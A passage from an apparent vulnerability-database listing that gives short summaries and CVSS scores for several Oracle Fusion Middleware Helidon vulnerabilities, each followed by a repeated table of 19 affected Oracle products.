Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 5.9.
5.9 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers via HTTP to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server component via HTTP, with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
